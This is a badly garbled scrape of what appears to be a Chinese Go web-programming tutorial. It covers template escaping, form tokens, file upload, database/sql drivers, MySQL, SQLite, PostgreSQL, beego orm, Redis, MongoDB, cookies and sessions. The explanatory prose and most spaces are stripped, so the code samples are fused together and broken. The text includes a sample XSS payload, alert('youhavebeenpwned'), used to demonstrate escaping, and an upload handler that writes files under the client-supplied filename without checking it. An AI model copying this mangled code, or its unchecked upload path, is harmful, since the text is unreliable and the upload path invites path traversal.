Hello,<script>alert('youhavebeenpwned')</script>!
template.HTML
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))
Hello,<script>alert('youhavebeenpwned')</script>!
template.HTML
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")
Hello,<script>alert('youhavebeenpwned')</script>!
links
::
4.4——
Ajaxjavascript
4.2
<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">:<input type="text"name="username">:<input type="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="" >
tokenMD5()(session)
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//}}
application/x-www-form-urlencodedmultipart/form-datatext/plain "+"
html,upload.gtpl,html:
<html><head><title> </title></head><body><formenctype="multipart/form-data"action="/upload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>
handlerFunc:
http.HandleFunc("/upload",upload)
///uploadfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")
iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)//testiferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}
r.ParseMultipartFormmaxMemoryParseMultipartForm maxMemorymaxMemory r.FormFile io.Copy
r.ParseFormGo ParseMultipartForm
1. enctype="multipart/form-data"2. r.ParseMultipartForm,3. r.FormFile
handlermultipart.FileHeader,
typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}
4.5
Go
packagemain
import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")
funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)
//fileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}
//fh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}deferfh.Close()
//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}
contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()
resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}
//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}
multipart.WritehttpPost
usernamemultipartWriteField
links
::
4.6GoGoformGo
links
::
5Web
GoGodatabase/sql5.1GoGo5.25.45.5ORMdatabase/sqldatabase/sqlGostyle
NOSQLWebNOSQL5.6MongoDBRedisNOSQL
Godatabase/sqltutorial
links
:: database/sql
5.1database/sqlGoPHPGoGo
sql.Register
database/sqlinitinit Register(namestring,driverdriver.Driver)
mymysqlsqlite3
//https://github.com/mattn/go-sqlite3funcinit(){
sql.Register("sqlite3",&SQLiteDriver{})}
//https://github.com/mikespook/mymysql//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}
driverdatabase/sqlmap
vardrivers=make(map[string]driver.Driver)
drivers[name]=driver
database/sql
database/sql:
import("database/sql"_"github.com/mattn/go-sqlite3")
_Go _
2.3initinitinitinit
driver.Driver
DrivermethodOpen(namestring)Conn
typeDriverinterface{Open(namestring)(Conn,error)}
ConngoroutineConnGogoroutine
...gogoroutineA(Conn)//gogoroutineB(Conn)//...
Gogoroutine,goroutineAgoroutineBB
nameConn
driver.Conn
ConnConngoroutinegoroutine
typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}
PrepareSql
Closedatabase/sqlconnpoolconn
BeginTx,
driver.Stmt
StmtConngoroutinegoroutine
typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}
Closequeryqueryrows
NumInput>=0-1
ExecPreparesqlupdate/insertResult
QueryPreparesqlselectRows
driver.Tx
typeTxinterface{Commit()errorRollback()error}
driver.Execer
Conn
typeExecerinterface{Exec(querystring,args[]Value)(Result,error)}
DB.Exec,PrepareStmtStmtExecStmt
driver.Result
Update/Insert
typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}
LastInsertIdID
RowsAffectedquery
driver.Rows
Rows
typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}
Columnsslicesql
CloseRows
Nextdestdestdriver.Valuestringstring[]byteNextio.EOF
driver.RowsAffected
RowsAffectedint64ResultResult
typeRowsAffectedint64
func(RowsAffected)LastInsertId()(int64,error)
func(vRowsAffected)RowsAffected()(int64,error)
driver.Value
Value
typeValueinterface{}
driveValueValueValuenil
int64float64bool[]bytestring[*] Rows.Next string.time.Time
driver.ValueConverter
ValueConverterdriver.Value
typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}
ValueConverter
driver.valueint64uint16driver.Valuescandriver.Value
driver.Valuer
Valuerdriver.Value
typeValuerinterface{Value()(Value,error)}
Valuedriver.Value
database/sql
database/sqldatabase/sql/driver,connpool
typeDBstruct{driverdriver.Driverdsnstring
musync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}
OpenDBfreeConnDb.prepare deferdb.putConn(ci,err),connfreeConn00conn0conn,
links
:: MySQL
5.2 MySQLInternetLAMPMMySQL,MySQLWeb
MySQL
GoMySQLdatabase/sql,:
https://github.com/go-sql-driver/mysqldatabase/sqlgohttps://github.com/ziutek/mymysqldatabase/sqlgohttps://github.com/Philio/GoMySQLdatabase/sqlgo
()
database/sqlkeepalive, forkmymysqlkeepalivekeepalive
testuserinfouserdetail
CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`));
CREATETABLE`userdetail`(`uid`INT(10)NOTNULLDEFAULT'0',`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`))
database/sql
packagemain
import(_"github.com/go-sql-driver/mysql""database/sql""fmt"//"time")
funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)
//stmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()
checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
GoMysql
sql.Open()go-sql-drivermysqlDSN(DataSourceName)go-sql-driver
user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbnameuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare()sql
db.Query()SqlRows
stmt.Exec()stmtSQL
=?SQL
links
: database/sql
: SQLite
5.3 SQLiteSQLiteSQLSQLite,SQLiteSQLiteSQLiteAccess
Gosqlitedatabase/sql
https://github.com/mattn/go-sqlite3database/sqlcgo(cgo)https://github.com/feyeleanor/gosqlite3database/sqlcgohttps://github.com/phf/go-sqlite3database/sqlcgo
database/sqlSQLite
SQL
CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);
CREATETABLE`userdeatail`(`uid`INT(10)NULL,`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`));
Go:
packagemain
import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")
funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)
//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)values(?,?,?)")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
MySQL sql.OpenSQLite
sqlite http://sqliteadmin.orbmu2k.de/
links
: MySQL: PostgreSQL
5.4 PostgreSQLPostgreSQL-()BSD-(MySQLFirebird)OracleSybaseIBMDB2MicrosoftSQLServer
PostgreSQLMySQLOraclePostgreSQL
MySQLOracleMySQL5.5.31GPLPostgreSQLMySQL
GoPostgreSQL
https://github.com/lib/pqdatabase/sqlGohttps://github.com/jbarham/gopgsqldriverdatabase/sqlGohttps://github.com/lxn/go-pgsqldatabase/sqlGo
github
CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,
CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);
CREATETABLEuserdeatail(uidinteger,introcharactervarying(100),profilecharactervarying(100))WITH(OIDS=FALSE);
Go:
packagemain
import("database/sql""fmt"_"github.com/lib/pq")
funcmain(){db,err:=sql.Open("postgres","user=astaxiepassword=astaxiedbname=testsslmode=disable")checkErr(err)
//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)RETURNINGuid")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
//pgMySQLID//id,err:=res.LastInsertId()//checkErr(err)//fmt.Println(id)
varlastInsertIdinterr=db.QueryRow("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)returninguid;","astaxie","" ,"201
2-12-09").Scan(&lastInsertId)checkErr(err)fmt.Println("id=" ,lastInsertId)
//stmt,err=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)
res,err=stmt.Exec("astaxieupdate",1)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)
res,err=stmt.Exec(1)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
PostgreSQL $1,$2MySQL ?sql.OpendsnMySQLdsn
pgLastInsertIdPostgreSQLMySQLID
links
: SQLite: BeegoormORM
5.5 Beegoorm ORMbeegoormGoORMGostylestructbeegoormGoORMORMORMbeegoormGoORM
beegoormdatabase/sqlORMdatabase/sqlbeegoorm
Mysql:github/go-mysql-driver/mysql
PostgreSQL:github.com/bmizerany/pq
SQLite:github.com/mattn/go-sqlite3
Mysql:github.com/ziutek/mymysql/godrv
:
MsSql:github.com/denisenkom/go-mssqldb
MSADODB:github.com/mattn/go-adodb
Oracle:github.com/mattn/go-oci8
ODBC:bitbucket.org/miquella/mgodbc
beegoormgogetGoStyle
gogetgithub.com/astaxie/beego
importdatabase/sqlbeegoorm
import("database/sql""github.com/astaxie/beego/orm"_"github.com/go-sql-driver/mysql")
funcinit(){//orm.RegisterDataBase("default","mysql","root:root@/my_db?charset=utf8",30)//modelorm.RegisterModel(new(User))
//tableorm.RunSyncdb("default",false,true)}
PostgreSQL:
////_"github.com/lib/pq"
//orm.RegisterDriver("postgres",orm.DR_Postgres)
////PostgresQLpostgreszxxxtestdefaultorm.RegisterDataBase("default","postgres","user=postgrespassword=zxxxdbname=testhost=127.0.0.1port=5432sslmode=disable")
MySQL:
////_"github.com/go-sql-driver/mysql"
//orm.RegisterDriver("mysql",orm.DR_MySQL)
////mysqlrootzxxxtestdefaultorm.RegisterDataBase("default","mysql","root:zxxx@/test?charset=utf8")
Sqlite:
////_"github.com/mattn/go-sqlite3"
//orm.RegisterDriver("sqlite",orm.DR_Sqlite)
////. /datas/test.dbdefaultorm.RegisterDataBase("default","sqlite3","./datas/test.db")
package,beegoormMySQL)beegoorm:
funcmain(){orm:=orm.NewOrm()}
:
packagemain
import("fmt""github.com/astaxie/beego/orm"_"github.com/go-sql-driver/mysql"//)
//ModelStructtypeUserstruct{IdintNamestring`orm:"size(100)"`}
funcinit(){//orm.RegisterDataBase("default","mysql","root:root@/my_db?charset=utf8",30)
//modelorm.RegisterModel(new(User))//RegisterModelmodel//orm.RegisterModel(new(User),new(Profile),new(Post))
//tableorm.RunSyncdb("default",false,true)}
funcmain(){o:=orm.NewOrm()
user:=User{Name:"slene"}
//id,err:=o.Insert(&user)fmt.Printf("ID:%d,ERR:%v\n",id,err)
//user.Name="astaxie"num,err:=o.Update(&user)fmt.Printf("NUM:%d,ERR:%v\n",num,err)
//oneu:=User{Id:user.Id}err=o.Read(&u)fmt.Printf("ERR:%v\n",err)
//num,err=o.Delete(&u)fmt.Printf("NUM:%d,ERR:%v\n",num,err)}
SetMaxIdleConns
orm.SetMaxIdleConns("default",30)
SetMaxOpenConns
(go>=1.2)
orm.SetMaxOpenConns("default",30)
beegoorm
orm.Debug=true
Userstruct
typeUserinfostruct{Uidint`PK`//idpkUsernamestringDepartnamestringCreatedtime.Time}
typeUserstruct{Uidint`PK`//idpkNamestringProfile*Profile`orm:"rel(one)"`//OneToOnerelationPost[]*Post`orm:"reverse(many)"`//}
typeProfilestruct{IdintAgeint16User*User`orm:"reverse(one)"`//()}
typePoststruct{IdintTitlestringUser*User`orm:"rel(fk)"`//Tags[]*Tag`orm:"rel(m2m)"`}
typeTagstruct{IdintNamestringPosts[]*Post`orm:"reverse(many)"`}
funcinit(){//initmodelorm.RegisterModel(new(Userinfo),new(User),new(Profile),new(Tag))}
beegoormStruct Useruser_info
structsqlInsert
o:=orm.NewOrm()varuserUseruser.Name="zxxx"user.Departname="zxxx"
id,err:=o.Insert(&user)iferr==nil{fmt.Println(id)}
user.UidID
:InsertMulti
sql
insertintotable(name,age)values("slene",28),("astaxie",30),("unknown",20)
bulkslice
users:=[]User{{Name:"slene"},{Name:"astaxie"},{Name:"unknown"},...
}successNums,err:=o.InsertMulti(100,users)
bulk1slice
userInsertbeegoormupdate
o:=orm.NewOrm()user:=User{Uid:1}ifo.Read(&user)==nil{user.Name="MyName"ifnum,err:=o.Update(&user);err==nil{fmt.Println(num)}}
Update
//Nameo.Update(&user,"Name")////o.Update(&user,"Field1","Field2",...)
//Where:Where("=?",)
beegoorm
1
o:=orm.NewOrm()varuserUser
user:=User{Id:1}
err=o.Read(&user)
iferr==orm.ErrNoRows{fmt.Println("" )}elseiferr==orm.ErrMissPK{fmt.Println("" )}else{fmt.Println(user.Id,user.Name)}
2
o:=orm.NewOrm()varuserUser
qs:=o.QueryTable(user)//QuerySeterqs.Filter("id",1)//WHEREid=1qs.Filter("profile__age",18)//WHEREprofile.age=18
3WHEREIN
qs.Filter("profile__age__in",18,20)//WHEREprofile.ageIN(18,20)
4
qs.Filter("profile__age__in",18,20).Exclude("profile__lt",1000)//WHEREprofile.ageIN(18,20)ANDNOTprofile_id<1000
1age>172010
varallusers[]Userqs.Filter("profile__age__gt",17)//WHEREprofile.age>17
2limit1010
qs.Limit(10,20)//LIMIT10OFFSET20SQL
beedb
1
o:=orm.NewOrm()ifnum,err:=o.Delete(&User{Id:1});err==nil{fmt.Println(num)}
DeletePostUserUseron_deletePost
beegoorm
typePoststruct{Idint`orm:"auto"`Titlestring`orm:"size(100)"`User*User`orm:"rel(fk)"`}
varposts[]*Postqs:=o.QueryTable("post")num,err:=qs.Filter("User__Name","slene").All(&posts)
struct
GroupBy Having
groupbybeegoorm
qs.OrderBy("id","-profile__age")//ORDERBYidASC,profile.ageDESC
qs.OrderBy("-profile__age","profile")//ORDERBYprofile.ageDESC,profile_idASC
GroupBy:groupby
Having:having
##sql
:
o:=NewOrm()varrRawSeter
r=o.Raw("UPDATEuserSETname=?WHEREname=?","testing","slene")
sql:
func(m*User)Query(namestring)[]User{varoorm.Ormervarrsorm.RawSetero=orm.NewOrm()rs=o.Raw("SELECT*FROMuser"+"WHEREname=?ANDuid>10"+"ORDERBYuidDESC"+"LIMIT100",name)varuser[]Usernum,err:=rs.QueryRows(&user)iferr!=nil{fmt.Println(err)}else{fmt.Println(num)returnuser}}
, beego.me
beegoorm
links
: PostgreSQL: NOSQL
5.6NOSQLNoSQL(NotOnlySQL)Web2.0Web2.0SNSWeb2.0
Go21CNOSQLNOSQLredismongoDBCassandraMembaseredismongoDB
redis
rediskey-valueMemcachedvaluestring()list()set()zset()
redisFacebookinstagram
Goredis
https://github.com/garyburd/redigo()https://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis
redigo:
packagemain
import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")
var(Pool*redis.Pool
)
funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}
funcnewPool(serverstring)*redis.Pool{
return&redis.Pool{
MaxIdle:3,IdleTimeout:240*time.Second,
Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},
TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}
funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)gofunc(){<-cPool.Close()os.Exit(0)}()}
funcGet(keystring)([]byte,error){
conn:=Pool.Get()deferconn.Close()
vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}
funcmain(){test,err:=Get("test")fmt.Println(test,err)}
forkbug(200WPV)
https://github.com/astaxie/goredis
forkredis
packagemain
import("github.com/astaxie/goredis""fmt")
funcmain(){varclientgoredis.Client//redisclient.Addr="127.0.0.1:6379"
//client.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")
//listvals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{
client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}
redisclientredisredis
mongoDB
MongoDBjsonbjsonMongo
mysqlmongoDBmongoDB
5.1MongoDBMysql
GomongoDBmgopkg
mgo:
gogetgopkg.in/mgo.v2
GomongoDB
packagemain
import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")
typePersonstruct{NamestringPhonestring}
funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()
//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)
c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)
}
result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}
fmt.Println("Phone:",result.Phone)}
mgobeedbstructGoStyle
links
: BeegoormORM:
5.7Godatabase/sqlbeedbORMNOSQLGoNOSQLGo21C21
Webdatabase/sql
Godatabase/sqltutorial
links
: NOSQL: session
6session
WebHTTPWebWebcookiesessioncookiesession,sessionID,:url,cookies.,Session,,
6.1sessioncookie6.2Gosessionsession6.3sessionsessionsession6.3sessionsessionsession(memcacheredis)6.4
links
:: sessioncookie
6.1session cookiesessioncookiesessioncookie
“”“”
“”POSTHTTPHTTPrequest()cookiesession
cookieHTTPcookie
6.1cookie
sessionsessionidsessionsessionidsessioncookiesessionidGETid
6.3cookie
cookiecookiecookie
cookiecookiecookiecookiecookie
(setMaxAge(606024))cookiecookiecookieIEcookie
Go cookie
Gonet/httpSetCookie
http.SetCookie(wResponseWriter,cookie*Cookie)
wresponsecookiestructcookie
typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring
//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}
cookie
expiration:=time.Now()expiration=expiration.AddDate(1,0,0)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)
Go cookie
cookiecookie
cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)
for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}
requestcookie
session
session/sessionsession“”/“”
sessionWebSession
session()
sessionsessionsessionidsessionidsessionsessionidsession(sessionURLJSESSION)sessionidsessionsessionsessionidsessionid
session
sessioncookiehttpsessioncookiesessionidsessioncookiecookiecookiecookie1.appABcookieBcookie2.XSSappAjavascriptdocument.cookieappB
cookiesessionwebbugsession
links
: session: Gosession
6.2Go sessionsessionGosessiongosession
session
sessionWebsession
sessionidI/Osessionsessionsession
sessionHTTPBodycookieURL
1. CookieSet-cookiesessionsessioncookie0(cookie)0()2. URLURLURLsessionsessioncookie
Go session
sessionsessionsessionsessionlifecyclegosession
session
session
sessionsessionidsessionsession()session
sessiongo
Session
session
typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}
funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}
Gomainsession
varglobalSessions*session.Manager//initfuncinit(){globalSessions,_=NewManager("memory","gosessionid",3600)}
sessionProvidersession
typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}
SessionInitSessionSessionSessionReadsidSessionsidSessionInitSessionSessionDestroysidSessionSessionGCmaxLifeTime
SessionWebSessionsessionIDSession
typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}
database/sql/driversessionsessionRegister
varprovides=make(map[string]Provider)
//Registermakesasessionprovideavailablebytheprovidedname.//IfRegisteriscalledtwicewiththesamenameorifdriverisnil,//itpanics.funcRegister(namestring,providerProvider){
ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}
SessionID
SessionIDWebGUID
func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}
session
SessionSessionSessionStartSession
func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}
http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)session,_=manager.provider.SessionRead(sid)}return}
loginsession
funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}
SessionStartSessionsession
session.Get("uid"):
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)
}ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
Sessionkey/value:SetGetDelete
SessionGCGCGCsessionSessionGCSession
session
Websessionsession
//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}
session
Session,Main
funcinit(){goglobalSessions.GC()}
func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}
GCtime maxLifeTimeGC maxLifeTimesession
WebSessionSessionManagerSessionProvider,Provider,
links
: sessioncookie: session
6.3sessionSessionsessionsession
packagememory
import("container/list""github.com/astaxie/session""sync""time")
varpder=&Provider{list:list.New()}
typeSessionStorestruct{sidstring//sessionidtimeAccessedtime.Time//valuemap[interface{}]interface{}//session}
func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)returnnil}
func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}
func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}
func(st*SessionStore)SessionID()string{returnst.sid}
typeProviderstruct{locksync.Mutex//sessionsmap[string]*list.Element//list*list.List//gc}
func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}
func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}
func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil}
func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()
for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore)
.sid)}else{break}}}
func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}
funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}
